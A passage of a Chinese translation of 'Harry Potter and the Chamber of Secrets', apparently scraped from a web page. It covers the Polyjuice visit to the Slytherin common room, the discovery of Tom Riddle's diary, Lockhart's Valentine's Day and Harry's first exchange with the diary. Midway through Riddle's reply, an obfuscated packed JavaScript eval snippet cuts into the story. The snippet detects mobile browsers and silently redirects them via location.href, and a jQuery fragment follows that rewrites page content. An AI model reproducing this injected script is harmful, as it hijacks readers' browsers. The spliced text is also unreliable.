“你们在这儿呢,”他看着他们,拉长声调说,“你们俩是不是一直在礼堂里大吃大喝啊?我一直在找你们,我要给你们看一样特别好玩的东西。” 马尔福咄咄逼人地扫了珀西一眼。 “你在这下面做什么,韦斯莱?”他讥讽地问道。 珀西显得极为愤慨。 “你需要对级长表现得尊敬一点儿!”他说,“我不喜欢你的态度!” 马尔福冷笑一声,示意罗恩和哈利跟他走。哈利要对珀西说几句道歉的话,但及时制止了自己。他和罗恩匆匆跟在马尔福身后,在转向下一条通道时,马尔福说:“那个彼得·韦斯莱——” “是珀西。”罗恩不假思索地纠正他。 “管他是什么呢。”马尔福说,“最近我注意到他老偷偷地在附近转悠。我敢说我知道他想干什么。他想一个人抓住斯莱特林的继承人。” 他发出一声短促的嘲笑。哈利和罗恩交换了一个兴奋的目光。 马尔福在一道空荡荡、湿乎乎的石墙旁边停住脚步。 “新口令是什么来着?”他对哈利说。 “嗯——”哈利支吾着。 “哦,对了——纯种!”马尔福并没有听他的,兀自说道。只见隐藏在石墙里的一道石门徐徐敞开。马尔福大步走了进去,哈利和罗恩紧随其后。 斯莱特林的公共休息室是一间狭长、低矮的地下室,墙壁和天花板都由粗糙的石头砌成,圆圆的,泛着绿光的灯被链子拴着,从天花板上挂下来。在他们前面的一座雕刻精美的壁炉台下,噼噼啪啪地燃着一堆火,映出坐在厨围的雕花椅上的几个斯莱特林学生的身影。 “在这里等着。”马尔福对哈利和罗恩说,示意他们坐到远离炉火的两张空椅子上。“我去把它拿来——我父亲刚给我捎来的——” 哈利和罗恩暗自猜测马尔福会给他们看什么,一边尽量显出轻松自在的样子.片刻之后,马尔福回来了,手里拿着一张像是剪报一样的东西。他把它塞到罗恩鼻子底下。 “你看了准会哈哈大笑。”他说。哈利看到罗恩惊愕地睁大眼睛。罗恩迅速把剪报读了一遍,十分勉强地笑了一声,又把它递给哈利。是从《预言家日报》上剪下来的,上面写着——魔法部的调查滥用麻瓜物品司主任亚瑟·韦斯莱,今日因其对一辆麻瓜汽车施以魔法而被罚款五十加隆。 “这辆被施过魔法的汽车,于今年早些时候在霍格沃茨撞毁,该校的一位董事卢修斯·马尔福先生近日打电话要求韦斯莱先生辞职。‘韦斯莱破坏了魔法部的名誉,’马尔福对我报记者说,‘他显然不适合为我们制定法律,他的那个荒唐可笑的麻瓜保护法应该立刻废弃。’” “韦斯莱先生对此不置评论,不过他的妻子叫记者离开,不然她就把她家的食尸鬼放出来咬他们。” “怎么样?”当哈利把剪报递还给他时,马尔福不耐烦地问道,“你不觉得很有趣吗?” “哈哈哈。”哈利干巴巴地笑了几声。“亚瑟·韦斯莱太喜欢麻瓜了,应该把他的魔杖折成两段,加入麻瓜的行列。” 马尔福轻蔑地说,“瞧韦斯莱一家人的行为,你真看不出他们是纯种巫师。” 罗恩的脸——准确地说,是克拉布的脸——愤怒地扭曲起来。 “你怎么了,克拉布?”马尔福凶狠地问道。 “肚子疼。”罗恩呻吟着说。 “好吧,那你就上医院,替我把那些泥巴种都踢一顿。”马尔福窃笑着说,“你知道,《预言家日报》居然还没有报道所有这些攻击事件,真让我吃惊。”他若有所思地继续说道:“我猜是邓布利多想把一切都掩盖起来。如果不立即阻止事态发展,他就会被解雇了。老爸总是说,让邓布利多当校长是这个学校碰到的最倒霉的事。他喜欢麻瓜。一个体面的校长决不会让克里维那样的笨蛋进入学校。” 马尔福假装用一只照相机开始拍照,恶毒而逼真地模仿科林:“波特,我能给你照一张相吗?波特,我可以得到你的亲笔签名吗?我可以舔舔你的鞋子吗?求求你了,波特。” 他垂下双手,望着哈利和罗恩。“你们两个怎么回事?”哈利和罗恩这才强迫自己笑了几声,但马尔福看上去还挺满意,也许克拉布和高尔就是一向反应迟钝。 “圣人波特是泥巴种的朋友,”马尔福慢吞吞地说,“也属于没有纯血巫师的意识的人,不然他就不会整天和那个自高自大的泥巴种格兰杰混在一起。人们认为他是斯莱特林的继承人。”哈利和罗恩屏住呼吸等待着:马尔福肯定马上就要对他们说,他才是那个继承人。然而——“我真希望知道那个人是谁,”马尔福蛮横地说,“我可以帮助他们啊。”罗恩张大了嘴巴,使克拉布的脸比平日更加蠢笨。幸好,马尔福没有注意到。 哈利飞快地转着念头,说道:“你肯定多少有些知道,是谁操纵了这一切...” “你明知道我不知道,高尔,还要我对你说多少遍?’’马尔福厉声地说,“老爸不肯告诉我密室上次被打开的具体情况。当然啦,那是五十年前的事了,他还没有出生,但是他什么都知道。他说这一切都是保密的,如果我知道得太多,就会显得很可疑。但有一件事我是知道的:密室上次被打开时,一个泥巴种死了。所以,我敢说这次也得死一个泥巴种,只是时间早晚的问题...我希望是格兰杰。”他津津乐道地说。 罗恩攥紧了克拉布的大拳头。哈利觉得,如果罗恩朝马尔福狠揍一拳,事情就败露了。他赶紧用警告的目光瞪了罗恩一眼,然后说:“你知道吗,上次打开密室的那个人有没有被抓住?” “哦,是啦...不管是谁,反正被开除了。”马尔福说,“他们现在大概还在阿兹卡班。” “阿兹卡班?”哈利不解地问。“阿兹卡班——就是巫师监狱,高尔。”马尔福说,一边怀疑地看着哈利,“说句实话,如果你再这样迟钝下去,就要走回头路了。”他不安分地在掎子里动来动去,说道:“老爸叫我不要抛头露面,让斯莱特林的继承人继续行动。他说学校必须清除所有泥巴种的污秽,不要跟这件事搅在一起。当然啦,他现在要办的事情太多了。你们知道吗,上星期魔法部突然查抄了我们的庄园。”哈利拼命想让高尔的脸上露出关切的神情。“是啊...”马尔福说,“好在他们没有找到什么。老爸有一些非常有价值的秘密法宝。幸亏我们把自己的密室设在客厅的地板下面——” “呵!”罗恩说。马尔福看着他,哈利也看着他。只见他的头发正在变红,鼻子也在慢慢地变长——他们的时间到了。罗恩正在变回他自己,哈利从他突然向自己投来的惊恐的目光中,知道自己一定也在恢复原状。他们俩同时一跃而起。 “去拿药治肚子疼。”罗恩含混地咕哝一声。他们不再啰嗦,一下子蹿过斯莱特林的公共休息室,冲向石墙,然后在走廊里撒腿狂奔。他们希望马尔福什么也没有觉察到。哈利可以感觉到他的脚在高尔的大鞋子里打滑,他的身体在缩小,他不得不把衣服拎起。他们横冲直撞地冲上台阶,进入黑暗的门厅,只听见他们关押克拉布和高尔的柜子里传来沉闷的撞击声。他们把鞋子扔在柜子门口,穿着袜子奔上大理石楼梯,向哭泣的桃金娘的盥洗室冲去。 “还好,不是完全浪费时间,”罗恩喘着气说,回身关上盥洗室的门,“我知道我们还是没有弄清是谁发动了这些攻击,但是我明天要写信给我爸,叫他去搜查一下马尔福家的客厅下面。” 哈利在裂了缝的镜子前查看自己的脸。他又恢复了正常。他戴上眼镜,罗恩重重地敲着赫敏单间的门。 “赫敏,快出来,我们有很多话要告诉你——” “走开!”赫敏尖着嗓子说。 哈利和罗恩吃惊地望着对方。 “怎么回事?”罗恩说,“你现在一定已经恢复正常了,我们...” 只见哭泣的桃金娘突然从单间的门缝里闪了出来。哈利从未见她显得这样高兴。 “哎哟,等着瞧吧,”她说,“太可怕了!” 他们听见门锁滑开,赫敏出现了,哭哭啼啼的,长袍拉上来遮住了脑袋。 “怎么啦?”罗恩不敢确定地说,“难道你还长着米里森的鼻子什么的?” 赫敏让长袍落下,罗恩后退一步,撞在了水池上。 她满脸都是黑毛,眼睛变成了黄色,两只尖尖的长耳朵从她的头发里支棱出来。 “那是一根猫毛!”她凄厉地哭喊着。“米——米里森一定养了一只猫!可这服汤——汤剂不是用来搞动物变形的啊!” “真倒霉,”罗恩说。 “你会被取笑个没完的。”桃金娘开心地说。 “没关系,赫敏,”哈利赶紧说道,“我们送你去医院。庞弗雷夫人从来不多问...” 他们花了好长时间,才劝说赫敏离开了盥洗室。哭泣的桃金娘兴高采烈地粗声大笑,使得他们加快了脚步。 “等着吧,大家都会发现你长了一条尾巴...!” 32. 绝密日记 赫敏在医院病房里住了几个星期。别的同学过完圣诞节回到学校后,对她的失踪议论纷纷,大家都理所当然地以为她遭到了攻击。所以,学生们排着队走过医院病房,想看她一眼。庞弗雷夫人不得不再次取出她的布帘子,挂在赫敏的病床周围,不让别人看见她毛茸茸的脸,免得她羞愧难当。 哈利和罗恩每天晚上都去看她。新学期开始后,他们把每天的家庭作业带给她。 “如果我的腮帮子上长出胡子,我也就可以休息休息,不用做功课了。”一天晚上,罗恩说着把一大堆书放在赫敏病床边的桌上。 “别说傻话了,罗恩,我必须把功课赶上去。”赫敏轻快地说。她脸上的毛都消失了,眼睛也慢慢地重新变成褐色,这使她的情绪大大好转。“你们大概没有得到什么新的线索吧?”她又压低声音问,以免庞弗雷夫人听见。 “没有。”哈利沮丧地说。 “我可以肯定就是马尔福。”罗恩说,这是他第一百次说这个话了。 “那是什么?”哈利问,指着赫敏枕头下面伸出来的一个金色的东西。 “一张问候卡。”赫敏赶忙说,想把它塞进去,不想让他们看到。可是罗恩出手比她快得多。他一把抽出卡片,打开来大声念道:致格兰杰小姐,希望你早日康复,关心你的吉德罗·洛哈特教授,梅林爵士团三级勋章,反黑魔法联盟荣誉会员,五次荣获《巫师周刊》最迷人微笑奖。 罗恩抬头看着赫敏,一脸厌恶的神情。 “你把这放在枕头底下睡觉?” 赫敏用不着回答他了,因为庞弗雷夫人端着她晚上要吃的药匆匆走来。 “洛哈特是不是你见过的最会溜须拍马的家伙?”罗恩问道,和哈利离开宿舍,开始上楼到城堡去。斯内普给他们布置了一大堆家庭作业,哈利简直以为他要一直到六年级才能做完。罗恩正要说他真后悔没有问问赫敏,应该往生发药剂里加多少根老鼠尾巴才管用,突然他们听见楼上传来一个人愤怒的喊叫。 “是费尔奇。”哈利低声说。他们三步两步奔上楼梯,躲在别人看不见的地方,侧耳细听。“你认为会不会又有人遭到攻击了?” 罗恩紧张地问。他们一动不动地站着,把头朝费尔奇声音的方向探去,那声音简直有些歇斯底里了。 “...又来给我添麻烦了!拖地拖了整整一晚上,就好像我的活儿还不够干的!不行,这实在令人无法忍受,我要去找邓布利多...”费尔奇的脚步声渐渐隐去,他们听见远处传来猛烈的关门声。 他们从拐角处探出脑袋。费尔奇显然是在他平常的地方站岗放哨:他们又来到了洛丽丝夫人遭到攻击的地方。他们一眼就看出费尔奇为什么大喊大叫了。一大摊水蔓延了半个走廊,看样子,水还在源源不断地从哭泣的桃金娘的盥洗室的门缝下面渗出来。现在费尔奇不再吼叫了,他们就能听见桃金娘的哭喊声在盥洗室的四壁间回荡。 “她这又是怎么啦?”罗恩说。 “我们过去看看。”哈利说,于是他们把长袍提到脚脖子以上,趟着汹涌蔓延的积水,走向挂着“故障”告示的房门。他们像平常一样,对这个告示视而不见,径直走了进去。 哭泣的桃金娘哭喊的声音居然比以前还要响亮、凄厉,这真是令人不敢相信。她似乎藏在她惯常的那个抽水马桶里。盥洗室里光线昏暗,喷涌的水浇灭了蜡烛,并使得墙壁和地板都一片潮湿。 “怎么回事,桃金娘?”哈利问。 “你是谁?”桃金娘惨兮兮地用汩汩的声音说道,“又要用东西砸我?” 哈利趟水向她的单间走去,说道:“我为什么要用东西砸你?” “别问我,”桃金娘大喊一声冒了出来,又喷出一股更大的水流,泼溅在已经湿透了的地板上,“我在这里待得好好儿的,考虑自己的问题,有人觉得往我身上扔一本书怪好玩的...” “即使有人扔东西砸你,也不会把你砸痛啊。”哈利很理智地说,“我的意思是,那东西可以径直从你身上穿过,是不是?” 哈利说错了话。桃金娘一下子使自己膨胀起来,尖声叫道:“让大家都用书砸桃金娘吧,因为她根本感觉不到!如果你们用书投中她的肚子,得十分!如果投中她的脑袋,得五十分!很好,哈哈,哈哈!多么可爱的游戏,我看不见得!” “那么是谁用书砸你的?”哈利问。 “我不知道...当时我就坐在马桶圈上,想着死亡,那本书就突然从我脑袋上落了下来。”桃金娘狠狠地瞪着他们,说道。“就在那儿呢,全被水泡烂了。” 哈利和罗恩顺着桃金娘指的方向,朝水池下面一看,只见一本小小的、薄薄的书躺在地上。破破烂烂的黑色封皮,和盥洗室的每件东西一样,完全湿透了。哈利上前一步,想把它捡起来,可是罗恩突然伸出一只手臂,把他拉住了。 “怎么?”哈利问。 “你疯了吗?”罗恩说,“可能有危险。” “危险?”哈利说着,笑了起来,“别胡扯了,怎么可能有危险呢?” “说出来你会感到吃惊的,”罗恩说,恐惧地看着那本书,“我爸告诉我,有些被魔法部没收的书,其中有一本会把你的眼睛烧瞎。凡是读过《巫师的十四行诗》这本书的人,一辈子都只能用五行打油诗说话。巴斯的一位老巫师有一本书,你一看就永远也放不下来!你走到哪儿都把脸埋在书里,只好学着用一只手做所有的事情。还有——” “好了,我已经明白了。”哈利说。 那本小书躺在地板上,湿乎乎的,模糊不清。 “可是,我们只有看了才会知道啊。”他说,一低头绕过罗恩,把书从地板上捡了起来。 哈利一眼就看出这是一本日记,封皮上已经褪色的日期表明它是五十年前的。哈利急切地翻开,在第一页上,只能认出一个用模糊不清的墨水写的名字:汤姆·里德尔。 “慢着。”罗恩说,“我知道这个名字...里德尔五十年前获得了对学校的特殊贡献奖。”他已经小心翼翼地靠上前来,从哈利身后望着日记。 “你怎么会知道的?”哈利诧异地问。 “因为费尔奇罚我留校劳动,叫我给他擦奖牌,擦了有大约五十次呢。”罗恩忿忿不平地说,“我那天打嗝把鼻涕虫弄在上面了,我得把它们擦干净。如果你花整整一个小时擦掉一个名字上的黏液,你也会记住这个名字的。” 哈利撕开潮湿的纸页。一页一页的,完全是空白,没有丝毫写过字的痕迹,就连“梅布尔姨妈过生日”或“三点半看牙医”之类的字样都没有。“他一个字也没写。”哈利失望地说。 “我不明白为什么有人要把它扔掉。”罗恩好奇地说。 哈利翻到封底,看见上面印着伦敦沃克斯霍尔路一位报刊经售人的名字。“里德尔一定是一个麻瓜,”哈利若有所思地说,“所以才会在沃克斯霍尔路买日记本...” “好啦,反正对你也没有多大用处。”罗恩说,放低声音,“如果你能用它投中桃金娘的鼻子,能得五十分。 然而,哈利却把日记放进了口袋。 二月初,赫敏出院了,她的胡须没有了,尾巴没有了,浑身的猫毛也没有了。 她回到格兰芬多城堡的第一天晚上,哈利就把汤姆·里德尔的日记拿给她看了,并原原本本地对她讲了他们找到这本日记的经过。 “哦,它里面可能藏着法术呢。”赫敏兴奋地说,接过日记,仔细地看着。 “如果真是这样,倒隐藏得很巧妙。”罗恩说,“也许它是不好意思见人吧。我不明白为什么你不把它扔掉,哈利。” “我希望知道为什么有人想把它扔掉。”哈利说,“另外,我还很想了解里德尔是如何获得对霍格沃茨的特殊贡献奖的。” “什么都有可能,”罗恩说,“也许他抓住了三十只猫头鹰,或者从大鱿鱼的巨爪下救出了一位老师。也许他谋杀了桃金娘,那一定使大家都感到称心如意...” 可是哈利看到赫敏脸上专注的神色,知道她正在转着和自己同样的念头。 “怎么?”罗恩说,望望哈利,又望望赫敏。 “是这样,密室是五十年前被打开的,是不是?”赫敏说, “马尔福是这么说的。” “是啊...”罗恩慢悠悠地说。 “这本日记也是五十年前的。”赫敏激动地拍着日记。 “那又怎么样?” “哦,罗恩,你醒醒吧。”赫敏毫不客气地说,“你知道,上次打开密室的那个人是五十年前被开除的。我们知道,汤姆·里德尔是五十年前获得了对学校的特殊贡献奖。那么,里德尔会不会是因为抓住了斯莱特林的继承人而获奖的呢?他的日记很可能会把一切都告诉我们:密室在哪里,怎样打开,里面关着什么样的动物。这次制造这些攻击行为的那个人,不会希望这本日记到处乱放的,是吗?” “是个绝妙的推理,赫敏,”罗恩说,“只有一点儿美中不足。他的日记里什么也没写。” 赫敏从她的书包里抽出魔杖。 “也许是隐形墨水!”她小声说。 她用魔杖敲了日记三下,说道:“急急现形!” 没有反应。赫敏毫不气馁,又把手伸进书包,掏出一个东西,像一块鲜红色的橡皮。“这是显形橡皮,我在对角巷弄到的。”她说。她在“一月一日”上面使劲地擦,结果什么也没有出现。 “告诉你吧,你不会在这里面发现什么的。”罗恩说,“里德尔就是圣诞节得到了一个日记本,不高兴花工夫在上面写东西。” 哈利甚至对自己也无法解释,他为什么不把里德尔的日记一扔了之。实际的情况是,他尽管知道日记里是空的,却总是若有所思地把它拿起来,一页页地翻着,就好像这是一个故事,他希望能有一个结局。 哈利虽然肯定自己以前从未听说过汤姆·里德尔这个名字,但心里总觉得这名字对他意味着一些什么,就仿佛里德尔是他小时候的一个朋友,已经被他淡忘。然而这是荒唐的。他在来霍格沃茨之前一个朋友也没有,德思礼夫妇绝不肯让他交朋友。 尽管如此,哈利还是决定多了解一些里德尔的情况。第二天课间休息时,他朝奖品陈列室走去,想仔细看看里德尔的特别奖牌。他后面跟着兴趣盎然的赫敏,以及完全抱着怀疑态度的罗恩。罗恩对他们说,他对奖品陈列室早就看腻了,一辈子都不想再看到。 里德尔的那个擦得锃亮的金色奖牌,收在墙角的一只陈列柜里。它上面并没有详细说明为什么要颁发给里德尔。(“幸亏如此,不然奖牌就更大了,我擦到现在可能都擦不完呢。”罗恩说。)不过,他们在一枚旧的优秀品德奖章和一份昔日的男生学生会主席名单上,都发现了里德尔的名字。 “听起来他很像珀西,”罗恩说着,厌恶地皱起鼻子,“级长,男生学生会主席——也许还是门门功课第一。” “听你说话的口气,似乎这是一件不好的事情。”赫敏以一种略微受到伤害的声音说。 现在,太阳又开始微弱地照耀霍格沃茨了。 在城堡里,人们的情绪变得乐观起来。自从贾斯廷和差点没头的尼克之后,没有再发生攻击事件。庞弗雷夫人很高兴地报告说,曼德拉草变得喜怒无常和沉默寡言了,这就是说,它们正在迅速脱离童年时代。 “只要它们的粉刺一痊愈,就可以重新移植了。”一天下午,哈利听见她温和地对费尔奇说。“然后,用不了多久,我们就可以把它们割下来,放在火上熬煮。你的洛丽丝夫人很快就会回来了。” 斯莱特林的继承人也许已经失去了勇气,哈利心想。全校师生都提高了警惕,整天疑神疑鬼,这时候要打开密室,风险一定越来越大。也许那怪物——不管是什么怪物,现在已经安稳下来,准备再冬眠五十年... 赫奇帕奇的厄尼却不赞成这种令人愉快的观点。他仍然相信哈利才是罪魁祸首,在决斗俱乐部里“不小心露出了狐狸尾巴”。皮皮鬼也没有起好作用:他总是突然出现在拥挤的走廊上,放声大唱“哦,波特,你这个讨厌鬼...”,而且现在还配上了固定的舞蹈动作。 吉德罗·洛哈特似乎认为是他阻止了这些进攻。一天,格兰芬多的学生排着队去上变形课时,哈利无意中听见他对麦格教授这么说。 “我认为不会再有麻烦了,米勒娃。”他说,心照不宣地轻轻敲了敲自己的鼻子,又眨眨眼睛,“我认为密室这次是永远不会被打开了。那些罪犯肯定已经知道,我迟早都会抓住他们的,只是一个时间问题。趁我还没有开始收拾他们,现在罢手是明智的。 “你知道,现在学校里需要鼓舞鼓舞士气。消除记忆里上学期的那些事情!我现在不便多说,但我认为我是胸有成竹的...”他又敲了敲他的鼻子,迈着大步走开了。 二月十四日吃早饭的时候,大家便知道洛哈特是用什么办法鼓舞士气了。哈利前一天晚上训练魁地奇,一直练到很晚,所以睡眠不足,匆匆赶到礼堂时已经有点儿晚了。一时间,他还以为自己走错了门。 四面墙上都布满了大朵大朵的耀眼的粉红色鲜花。更糟糕的是,还有许多心形的五彩纸屑不停地从浅蓝色的天花板上飘落下来。哈利朝格兰芬多的餐桌走去,罗恩坐在那里,一脸厌恶的表情,赫敏似乎一直在傻笑。 “这是怎么回事?”哈利问他们,一边坐下来,拂去落在他的熏咸肉上的五彩纸屑。 罗恩指着教师的餐桌,显然是厌恶得不想说话。洛哈特穿着与那些装饰品相配的鲜艳的粉红色长袍,挥着手让大家安静。坐在他对面的老师们一个个都板着脸。哈利从他坐的地方可以看见,麦格教授面颊上的一块肌肉突了起来。斯内普的样子,就好像有人刚给他灌了一大杯烈性酒。 “诸位,情人节快乐!”洛哈特大声说,“到现在为止,已有四十六个人向我赠送了贺卡,我谨向他们表示感谢!是的,我自作主张,为大家安排了这一小小的惊喜——而且还不止这些!” 洛哈特拍了拍手,从通往门厅的几道门里大步走进十二个脸色阴沉的矮子。而且他们不同于一般的矮子——洛哈特让他们都插着金色的翅膀,背着竖琴。 “我的友好的、带着贺卡的小爱神!”洛哈特喜气洋洋地说,“他们今天要在学校里到处游荡,给你们递送情人节贺卡!乐趣还不止这些!我相信我的同事们都愿意踊跃地参加进来!为什么不请斯内普教授教你们怎么调制迷魂剂呢!如果你们感兴趣的话,弗立维教授比我所见过的任何巫师,都更精通使人着迷的魔法,那只狡猾的老狗!” 弗立维教授把脸埋在双手里。看斯内普的神情,似乎如果有谁向他请教迷魂剂的制法,准会被强灌进毒药。 “赫敏,求求你告诉我,你不是那四十六个人中的一个吧?”当他们离开礼堂,去上第一节课时,罗恩说。赫敏突然兴趣很浓地在书包里翻找她的课程表,没有回答。 整整一天,矮子们不停地闯进他们的教室,递送情人节贺卡,弄得老师们厌烦透顶,下午,当格兰芬多的学生上楼去上魔法课时,一个矮子突然撵上哈利。“喂,你!哈利·波特!”一位脸色特别阴沉的矮子喊道,用胳膊肘分开众人,朝哈利挤来。 当着一队一年级新生的面——尤其是金妮·韦斯莱碰巧也在里面,收到一张情人节贺卡,这简直太令人恼火了,哈利想逃跑。可是没等他跑出两步,矮子就一路踢着人们的小腿,挤开人群追上了他。 “我有一个配乐的口信要亲自传达给哈利·波特。”矮子说着,用咄咄逼人的架势拨响了竖琴。 “别在这儿。”哈利压低声音说,一边又想逃跑。 “站住别动!”矮子咕哝了一声,一把抓住哈利的书包,把他拉了回来。 “让我走!”哈利吼道,用力拽着书包。随着一声很响的撕裂声,他的书包被扯成了两半。他的书、魔杖、羊皮纸和羽毛笔稀里哗啦地落到地板上,墨水瓶摔碎在最上面。 哈利趴在地上手忙脚乱,想赶在矮子开始唱歌之前把东西都捡起来,结果造成了走廊里的交通堵塞。 “这是怎么回事儿?”传来了德拉科·马尔福那冷冷的、拖腔拖调的声音。哈利开始狂乱地把东西都往被撕裂的书包里塞,不顾一切地想赶紧逃走,不让马尔福听见他的情人节配乐贺礼。 “怎么这么乱?”又传来一个熟悉的声音,珀西·韦斯莱来了。 哈利完全慌了神,只想赶紧逃脱,可是矮子一把抱住他的两个膝盖,使他重重地摔倒在地。 “好了,”他说,一屁股坐在哈利的膝盖上,“这就是你的带歌声的情人节贺礼:他的眼睛绿得像刚腌过的癞蛤蟆,他像黑板一样乌黑潇洒,我希望他是我的,他真的很帅气,是征服黑魔头的勇士。” 哈利愿意交出古灵阁的所有金子,只希望能当场变作蒸汽消失。他勇敢地强迫自己和大家一起哈哈大笑,一边站了起来,他的脚被矮子坐得发麻了。 珀西·韦斯莱尽力驱散人群,有些人开心得大喊大叫。“你们走吧,走吧,上课铃五分钟前就响过了,快去上课吧。”他说着,把年纪较小的学生轰走了。“还有你,马尔福。”哈利瞥了一眼,看见马尔福弯腰从地上抓起了什么东西。他斜着眼睛,把它拿给克拉布和高尔看,哈利明白了,他抓去的是里德尔的日记。 “还给我。”哈利小声说。“想知道波特在里面写了什么吗?”马尔福说,他显然没有注意到封皮上的日期,以为拿到的是哈利自己的日记。围观者们顿时安静下来。金妮看看日记,又看看哈利,神色惊恐。 “拿过来,马尔福。”珀西严厉地说。 “等我看一眼再说。”马尔福说着,嘲弄地朝哈利挥舞日记。 珀西说:“我作为一个级长——”可是哈利发脾气了。他抽出魔杖,喊道:“除你武器!”于是,就像斯内普解除了洛哈特的武器一样,马尔福发现日记突然从他手中飞向空中。罗恩开心地笑着,一把抓住了它。 “哈利!”珀西大声地说,“不许在走廊里施魔法。这件事我要汇报的,你知道!” 可是哈利不在乎,他又赢了马尔福一个回合,即使格兰芬多要为此丢掉五分,也是完全值得的。 马尔福看上去气疯了,当金妮从他身边走进教室时,他恶狠狠地冲着她的后背嚷道:“我认为波特不太喜欢你的情人节贺礼!”金妮双手捂着脸,跑进了教室。 罗恩大吼一声,也拔出了他的魔杖,可是哈利把他拉走了。罗恩犯不着整堂魔法课都忙着吐鼻涕虫。 直到他们来到弗立维教授的课堂上,哈利才注意到里德尔先生的日记十分奇怪。他的其他书都染上了鲜红色的墨水。而那本日记,却像以前一样,干干净净的。他想向罗恩指出这一点,但罗恩的魔杖又出了麻烦:魔杖头上喷出大朵大朵的紫色泡泡,弄得他对什么都不感兴趣。 那天晚上,哈利上床比宿舍里其他人都早。这一半是因为他认为他无法忍受弗雷德和乔治再一次高唱“他的眼睛绿得像刚腌过的癞蛤蟆”,另一半是因为他想再仔细研究一下里德尔的日记,他知道罗恩认为他是在浪费时间。 哈利坐在他的四柱床上,翻着那些空白的纸页,上面没有一点儿红墨水的痕迹。然后,他从床头柜里取出一瓶新墨水,将羽毛笔插进去蘸了蘸,让一滴墨水落在日记的第一页上。 墨水在纸上鲜艳地闪耀了一秒钟,接着就好像被纸吸了进去,消失得无影无踪。 哈利兴奋起来,他又将羽毛笔蘸满墨水,写道:“我叫哈利·波特。” 这行文字在纸上闪了闪,也被吸了进去,一点痕迹也没有留下。然后,终于出现了奇迹。纸上突然渗出一些哈利从未写过的文字,用的正是他的墨水。你好,哈利·波特。我名叫汤姆·里德尔。你怎么找到我的日记的? 这些文字也很快消失了,不过是在哈利开始匆匆写字后才消失的。 “有人想把它扔进厕所里。”他迫不及待地等着里德尔的回答。 幸好我用比墨水更持久的方式记录我的往事。我一直知道总有一些人不愿意这本日记被人读到。 “你是什么意思?”哈利潦草地写,激动得把纸都戳破了。 我的意思是,这本日记里记载着一些可怕的往事。一些被掩盖的往事。一些发生在霍格沃茨魔法学校的往事。 “我现在就在这里,”哈利飞快地写着,“我在霍格沃茨,这里不断发生可怕的事情。你知道关于密室的事情吗?”他的心狂跳起来。 里德尔很快就回答了,他的笔迹变得凌乱潦草,就好像他追不及待地要把他知道的一切都说出来。 我当然知道关于密室的事情。 在我那个时候,他们告诉我们说这是一个传说,一个并不存在的东西。 但这是谎话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338715|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我上五年级时,密室被打开了,怪兽攻击了几个学生,最后还弄死了一个。我抓住了那个打开密室的人,他被开除了。但是校长迪佩特教授因为霍格沃茨出了这样的事而感到丢脸,不许我说出真相。他们向外面宣布说,那个姑娘死于一次古怪的事故。 他们给了我一块刻着字的、金光闪闪的漂亮奖牌,奖励我的辛劳,并警告我不许乱说。但我知道这种事还会发生。怪兽还活着,而那个有能力释放它的人并没有被关起来。 哈利忙着写话回答,差点把墨水瓶打翻了。“现在事情又发生了。已经出现了三起攻击事件,似乎没有人知道是谁策划的。上次是谁?” “如果你愿意,我可以领你去看,”里德尔这样答复,“你不用看我写的文字。我可以把你带入我的记忆,进入我抓住他的那天晚上。” 哈利迟疑了,羽毛笔悬在日记上方。里德尔是什么意思?他怎么可能被带进别人的记忆?他紧张地朝宿舍门口瞥了一眼,那里渐渐黑了下来。当他的目光回到日记上时,发现又有一行字冒了出来。 我领你去看。 哈利只停顿了一下,便立刻写了两个字。 好吧。 日记仿佛被一股大风吹着,纸页哗啦啦地翻过,停在六月中旬的某一页。 哈利目瞪口呆地看着六月十三日的那个小方块似乎变成了一个微型的电视屏幕。 他双手微微颤抖着,把本子举起来,让眼睛贴在那个小窗口上。没等他反应过来是怎么回事,他就向前倾倒过去。窗口正在变大,他觉得自己的身体离开了床铺,头朝前跌进了那一页的豁口,进入了一片飞舞旋转的色彩与光影之中。他觉得双脚落在了坚实的地面上。他颤抖着站住了,周围模糊的景象突然变得清晰起来。 他一下子就知道自己到了哪里。这间墙上挂着呼呼大睡的肖像的圆形房间,正是邓布利多的办公室——但此刻坐在桌子后面的却不是邓布利多,而是一个显得很虚弱的干瘪巫师,秃头上只有几缕白毛,正就着烛光读一封信。哈利以前从未见过这个人。 “对不起,”他声音发抖地说,“我不是故意闯进来...”但是那个巫师连头也没抬。他继续读信,并微微皱起了眉头。哈利走近他的办公桌,结结巴巴地说,“哦——那我走了。行吗?”巫师还是不理他,似乎根本没有听见他的话。哈利以为那巫师大概耳朵不好,便提高了嗓门。 “对不起,打扰你了,我走了。”他简直喊了起来。 巫师叹了口气,把信叠起,站起身来,从哈利身边走过,连看都不看他,径直过去拉开窗帘。 窗外的天空布满红霞;似乎此刻正是日落时分。巫师返回桌边,坐下来,心不在焉地玩弄着两个大拇指,望着门口。 哈利环顾着这间办公室。没有凤凰福克斯,也没有那些嘤嘤嗡嗡的银制小玩艺儿。这是里德尔所知道的那个霍格沃茨,也就是说,这位他不认识的巫师是校长,不是邓布利多,而他哈利比幽灵强不了多少,五十年前的人是完全看不见他的。 办公室外面有人敲门。 “进来。”老巫师用虚弱无力的声音说。一个大约十六岁的男孩走了进来,摘下他的尖帽子。一枚级长的银质徽章在他胸口闪闪发光。 他比哈利高得多,但也有一头乌黑发亮的头发。 “啊,里德尔。”校长说。 “您想见我,迪佩特教授?”里德尔说,显得有些紧张。 “坐下吧,”迪佩特说,“我刚才一直在读你给我的那封信。” “哦。”里德尔说。他坐了下来,双手紧紧地攥在一起。 “我亲爱的孩子,”迪佩特慈祥地说,“我不能让你留在学校过暑假。你肯定愿意回家度假吧?” “不,”里德尔立刻说道,“我情愿留在霍格沃茨,也不愿到那个——那个——” “你假期住在一家麻瓜的孤儿院里,是吗?”迪佩特好奇地说。 “是的,先生。”里德尔说,微微地红了脸。 “你是麻瓜生的吗?” “是混血种,先生,”里德尔说,“父亲是麻瓜,母亲是女巫。” “你的父母都——” 